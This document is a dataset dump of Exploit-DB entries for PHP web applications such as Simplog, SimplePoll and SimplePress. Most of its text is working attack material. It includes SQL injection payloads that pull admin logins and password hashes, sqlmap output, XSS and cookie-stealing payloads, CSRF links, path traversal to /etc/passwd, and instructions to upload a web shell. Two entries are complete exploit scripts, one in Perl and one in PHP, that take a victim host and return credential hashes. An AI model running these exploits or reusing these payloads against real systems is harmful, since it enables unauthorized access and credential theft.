deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40292
Description: SimplePHPQuiz - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-08-23
Author: HaHwul

Exploit:
# Exploit Title: SimplePHPQuiz - Blind SQL Injection
# Date: 2016-08-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/valokafor/SimplePHPQuiz
# Software Link: https://github.com/valokafor/SimplePHPQuiz/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]


### Vulnerability
1-1. Nomal Request
POST /vul_test/SimplePHPQuiz/process_quizAdd.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 96

question=0000'&correct_answer=9999&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit

1-2 Response
   <div class="container theme-showcase" role="main">Your quiz has been saved <div class="footer">
 	<p class="text-muted">&copy Val Okafor 2014 - Simple PHP Quiz</p>

2-1 Attack Request 1
POST /vul_test/SimplePHPQuiz/process_quizAdd.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 96

question=0000'&correct_answer=9999&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit

2-2 Response
    <div class="container theme-showcase" role="main"><h1>System Error</h1> <div class="footer">
 	<p class="text-muted">&copy Val Okafor 2014 - Simple PHP Quiz</p>

3-1 Attack Request 2
POST /vul_test/SimplePHPQuiz/process_quizAdd.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 96

question=0000''&correct_answer=9999&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit

3-2 Response
   <div class="container theme-showcase" role="main">Your quiz has been saved <div class="footer">
 	<p class="text-muted">&copy Val Okafor 2014 - Simple PHP Quiz</p>


### Weak Parameters
correct_answer parameter
question parameter
wrong_answer1 parameter
wrong_answer2 parameter
wrong_answer3 parameter


### SQLMAP Result
#> sqlm -u "http://127.0.0.1/vul_test/SimplePHPQuiz/process_quizAdd.php" --data="question=0000&correct_answer=99aaa99&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit" --risk 3 --dbs --no-cast -p correct_answer

...snip...

POST parameter 'correct_answer' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 117 HTTP(s) requests:
---
Parameter: correct_answer (POST)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: question=0000&correct_answer=99aaa99' AND (SELECT * FROM (SELECT(SLEEP(5)))FvVg) AND 'ZQRo'='ZQRo&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit
---
[17:52:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
Exploit-DB #9337
Description: simplePHPWeb 0.2 - 'files.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-03
Author: SirGod

Exploit:
##################################################################
[+] simplePHPWeb 0.2 Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplephpweb/files/simplephpweb/simplephpweb-v0.2/simplephpweb-v0.2.zip/download
##################################################################

[+] Authentication Bypass Vulnerability

 - No login required to access admin panel

 - PoC

   http://127.0.0.1/[path]/admin/files.php

##################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #26541
Description: SimplePoll - 'results.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-21
Author: stranger-killer

Exploit:
source: https://www.securityfocus.com/bid/15508/info

SimplePoll is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/SimplePoll/results.php?pollid=-1' UNION SELECT 1,2,3,4,5,6,7,8,9,0,1,2,3/*
Exploit-DB #46235
Description: SimplePress CMS 1.0.7 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-24
Author: Ihsan Sencan

Exploit:
# Exploit Title: SimplePress CMS 1.0.7 - SQL Injection
# Dork: N/A
# Date: 2019-01-24
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/simplepresscms/
# Software Link: https://ayera.dl.sourceforge.net/project/simplepresscms/1.0%20alpha/1.0.7_alpha.zip
# Version: 1.0.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/?p=[SQL]
# 

GET /[PATH]/?p=%2d%31%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%28%33%29,(%34%29%2c%28%35%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%37%29%2c%28%38%29%2c%28%39%29%2c%28%31%30%29%2c%28%31%31%29%2c%28%31%32%29%2c%28%31%33%29%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: NO_CACHE=1; CAKEPHP=72i3s18s3sk0mn2c63gi0pikq0; PHPSESSID=i9sb2qgkcblm5l47uv4d3h2vm1
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 23 Jan 2019 22:38:49 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3169
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/?s=[SQL]
# 

GET /[PATH]/?s=%27)%2d%31%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%28%33%29,(%34%29%2c%28%35%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%37%29%2c%28%38%29%2c%28%39%29%2c%28%31%30%29%2c%28%31%31%29%2c%28%31%32%29%2c%28%31%33%29%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: NO_CACHE=1; CAKEPHP=72i3s18s3sk0mn2c63gi0pikq0; PHPSESSID=i9sb2qgkcblm5l47uv4d3h2vm1
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 23 Jan 2019 22:42:44 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3280
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #15355
Description: Simpli Easy (AFC Simple) NewsLetter 4.2 - Cross-Site Scripting / Information Leakage
Type: webapps
Platform: php
Date: 2010-10-30
Author: p0deje

Exploit:
Simpli Easy (AFC Simple) Newsletter <= 4.2 XSS/Information Leakage

Date: 30.10.2010
Author: p0deje | http://p0deje.blogspot.com
Software Link: http://scubadivingcalculators.com/simpli-easy-newsletter.php
Version: <= 4.2
 
  1. Cross-site Scripting
       
    Vulnerable code:
      cp.php
      ----------------
      6:  <form name="txtlist" action="cp.php?do=<?=$_GET['do']?>"
method="post">
      
    Proof-of-concept:   
      http://www.example.com/cp.php?do="><script>alert(1)</script>
      
  2. Information Leakage
    
    By default, application saves subscribed email addresses and
    correspondent IP addresses to plain text file el.txt
    
    Proof-of-concept:
      http://www.example.com/el.txt
Exploit-DB #10568
Description: Simplicity oF Upload 1.3.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-20
Author: Master Mind

Exploit:
# Exploit Title: Simplicity oF Upload (1.3.2) Remote File Upload Vulnerability
# Date: 20-12-2009
# Author: Master Mind
# Software Link: http://www.phpsimplicity.com/scripts.php?id=3
# Version: 1.3.2
# CVE : [N/A]
# Tested on: Windows 2003 Server

==========================================================================

~ Script Name : Simplicity oF Upload (1.3.2)
~ Language : php
~ Download Page : http://www.phpsimplicity.com/scripts.php?id=3
~ Author : Master Mind
~ Home : www.shdowskill.com , www.vbspiders.com
============================================================

Dork : Powered By: © Simplicity oF Upload

Exploit :
http://{target}/[script path/upload.php

upload you shell [Shell.php.gif]

Enjoy :)

------------------------------------------------------------------------------------------------------------------------------------------

Greets : The Electronic Bomb , Twi[L]ighT , R3D EYE, Doom[PS] , AND  ALL MEMBERS.
Exploit-DB #17051
Description: SimplisCMS 1.0.3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-27
Author: NassRawI

Exploit:
##########################################################
# home : http://www.D99Y.com
# Date: 27/3/2011
# Author: NassRawI
# Software Link: http://modcove.com/index.php
# Demo : http://modcove.com/index.php?page=demo
# Version: 1.0.3.0
##########################################################
#
# [1] SQL injection
#
# http://localhost/simpliscms/admin/index.php
#
#
# Injection in the Username field 
#
#
# [2] Cross Site Scripting
#
# file :
#
# admin/application/plugins/scaffold/index.php
#
# exploit  : 
#
# http://localhost/simpliscms/admin/application/plugins/scaffold/index.php?f=[ XSS ]
#
# http://localhost/simpliscms/admin/application/plugins/scaffold/index.php?f=<FONT size=7 >NassRaWi</FONT> <script>alert("www.d99y.com")</script>
#
#
##########################################################

[3]  Remote File Disclosure

# file :
#
# simpliscms/admin/index.php
#
# exploit  : 
#
#
# http://localhost/simpliscms/admin/index.php?action=do_download&download_file=[ Read files ]&page=&section=pages
#
#
# http://localhost/simpliscms/admin/index.php?action=do_download&download_file=../../../../../../../etc/passwd&page=&section=pages
#

##########################################################

Greetz :

D99Y Team + alroo7 alte No Tkd3 + oхіјєή + ǺŁṀṨŘŎŎŖĨ  + JEenY + anT!-Tr0J4n  + ReBLOoOV + FoFo < x-shadow  my baby :$ + ‏Difficult 511 and all members D99Y.CoM

Enjoy :)
Exploit-DB #29375
Description: Simplog 0.9.3 - 'archive.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-02
Author: Javor Ninov

Exploit:
source: https://www.securityfocus.com/bid/21843/info

Simplog is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 0.9.3.2; other versions may also be vulnerable.

NOTE: This issue was previously discussed in BID 17652 (Simplog Multiple SQL Injection Vulnerabilities) and an upgrade is available from the vendor. However, new reports indicate the latest version of the application is still vulnerable to this issue.

http://example.com/simplog/archive.php?blogid=1&pid=1111%20union%20select%201,1,1,login,1,password,1,1%20from%20blog_users%20where%20admin=1
Exploit-DB #28907
Description: Simplog 0.9.3 - 'archive.php?PID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-03
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/20900/info

Simplog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Simplog version 0.9.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/simplog/archive.php?blogid=1&pid=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
Exploit-DB #28906
Description: Simplog 0.9.3 - 'BlogID' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-11-03
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/20899/info

Simplog is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

These issues affect version 0.9.3; other versions may also be vulnerable.

http://www.example.com/simplog/archive.php?blogid=
http://www.example.com/simplog/archive.php?blogid=1&pid=
http://www.example.com/simplog/index.php?blogid=
Exploit-DB #27726
Description: Simplog 0.9.3 - 'ImageList.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-22
Author: nukedx

Exploit:
source: https://www.securityfocus.com/bid/17653/info

Simplog is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Simplog version 0.9.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/imagelist.php?blogid=1&act=add_entry&login=1&imagedir=[XSS]
Exploit-DB #1705
Description: Simplog 0.9.3 - 'tid' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-21
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=25
#Usage: simplog.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-25\r\n";
  print "- Simplog <= 0.93 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to Simplog ex: /simplog/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http:\/\/)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "preview.php?adm=tem&blogid=1&tid=";
  $spxp     = "-1/**/UNION/**/SELECT/**/concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserver\r\n";
  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";
  print $sp "GET $spreq HTTP/1.1\n";
  print $sp "Accept: */*\n";
  print $sp "Referer: $sphost\n";
  print $sp "Accept-Language: tr\n";
  print $sp "User-Agent: NukeZilla\n";
  print $sp "Cache-Control: no-cache\n";
  print $sp "Host: $spserver\n";
  print $sp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$sp>) {
    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21]
Exploit-DB #2574
Description: Simplog 0.9.3.1 - 'comments.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-16
Author: w4ck1ng

Exploit:
#!/usr/bin/php
<?php
 /*********************************************************************
 * Simplog 0.9.3.1 Remote SQL Injection Vulnerability 
 * 
 * Note:
 * Requires at least one blog entry to be made prior to injection
 *
 * Usage: 
 * php script.php [host] [path] [user id]
 *
 * Usage Example:
 * php script.php domain.com /simplog/ 1
 *
 * Googledork:
 * intext:Powered by Simplog
 *
 * Credits:
 * Disfigure - Vulnerability research and discovery
 * Synsta - Exploit scripting
 * 
 * [w4ck1ng] - w4ck1ng.com
 *********************************************************************/

if(!$argv[3 ]){
die("Usage:
php $argv[0] [host] [path] [user id]\n
Usage Example:
php $argv[0] domain.com /simplog/ 1\n");
}

if($argv[3]){

function send($host, $put){
global $data;
$conn = fsockopen( gethostbyname($host),"80" );
if(!$conn) {
die("Connection to $host failed...");
}else{
fputs($conn, $put);
}
while(!feof($conn)) {
$data .=fgets( $conn);
}
fclose($conn);
return $data;
}

$host = $argv[ 1];
$path = $argv[ 2];
$userid = $argv[ 3];

$sql = urlencode( "-1 union select 9,9,9,login,9,password,9,9 from blog_users where admin=$userid");
$req =  "GET ". $path."comments.php?op=edit&cid=". "$sql HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
//$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Type: text/plain\r\n" ;
$req .= "Connection: Close\r\n\r\n" ;
send("$host", "$req");

$aname = explode( "><input type=text name=cname maxlength=64 value=\"",$data);
$bname = explode( "\">",$aname[1 ]);
$name = $bname[ 0];
$ahash = explode( "<textarea name=comment rows=10 cols=40 wrap=physical>",$data);
$bhash = explode( "</textarea>",$ahash[1 ]);
$hash = $bhash[ 0];

if(strlen($hash) !=  32){ 
die("Exploit failed..\n"); 
}else{ 
die("Username: $name MD5: $hash\n"); 
}
}
?>

# milw0rm.com [2006-10-16]
Exploit-DB #10180
Description: Simplog 0.9.3.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-16
Author: Amol Naik

Exploit:
################################################################################
Mutliple Vulnerabilities in Simplog v0.9.3.2

Name Multiple vulnerabilities in Simplog
Systems Affected Simplog 0.9.3.2 and possibly earlier versions
Download http://sourceforge.net/projects/simplog/files/simplog/0.9.3.2/simplog-0.9.3.2.tar.gz/download
Author Amol Naik (amolnaik4[at]gmail.com)
Date 16/11/2009
################################################################################


############
1. OVERVIEW
############

Simplog provides an easy way for users to add blogging capabilities to their existing websites.
Simplog is written in PHP and compatible with multiple databases.
Simplog also features an RSS/Atom aggregator/reader.

###############
2. DESCRIPTION
###############

Simplog is vulnerable to Persistent cross-site scripting, cross-site request forgery and unauthorized comment deletion.

######################
3. TECHNICAL DETAILS
######################

Summery:

(A) Persistent Cross-site Scripting
(B) Cross Site Request Forgery
(C) Edit/Delete Comments (Bypassing Authorization)


(A) Persistent Cross-site Scripting
++++++++++++++++++++++++++++++++++++

Vulnerable page comments.php
Vulnerable Parameters cname, email

When adding a comment for any blog entry, it is possible to add a Persistent XSS payload in "Name" & "Email" parameters due to improper sanitization of the user inputs.

++++
POC
++++

Put this in the comment:

Name: alert("AMol_NAik")
email:">alert("AMol_NAik")


(B) Cross Site Request Forgery
+++++++++++++++++++++++++++++++

Vulnerable Page user.php

This application is vulenrable to CSRF which changes the password of an authenticated user. This is applicable to Admin as well.

++++
POC
++++

http://server/simplog/user.php?pass1=&pass2=&blogid=&act=change


For example, if an authenticated user clicks on the below link, his/her password changes to "AMol_NAik".

http://server/simplog/user.php?pass1=AMol_NAik&pass2=AMol_NAik&blogid=1&act=change


(C) Edit/Delete Comments (Bypassing Authorization)
+++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerable Page comments.php
Vulnerable Parameters op, cid

The application provides a function to edit n delete the comments to Blog Admin. It is possible for attacker to edit/delete any comment due to improper authorization.

++++
POC
++++

Edit comment: http://server/simplog/comments.php?op=edit&cid=
Delete Comment: http://server/simplog/comments.php?op=del&cid=


############
4. TimeLine
############

03/11/2009 Bug Discovered
03/11/2009 Reported to Vendor
16/11/2009 No response received till the date
16/11/2009 Public Disclosure
Exploit-DB #27357
Description: Simplog 1.0.2 - Information Disclosure
Type: webapps
Platform: php
Date: 2006-03-04
Author: Retard

Exploit:
source: https://www.securityfocus.com/bid/16965/info

Simplog is prone to an information-disclosure vulnerability. The application fails to properly sanitize user-supplied input.

Attackers may exploit this issue to gain access to potentially sensitive information, aiding them in further attacks.

Simplog version 1.0.2 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/index.php?act=blog&blogid=../somefile
http://www.example.com/index.php?act=../somefile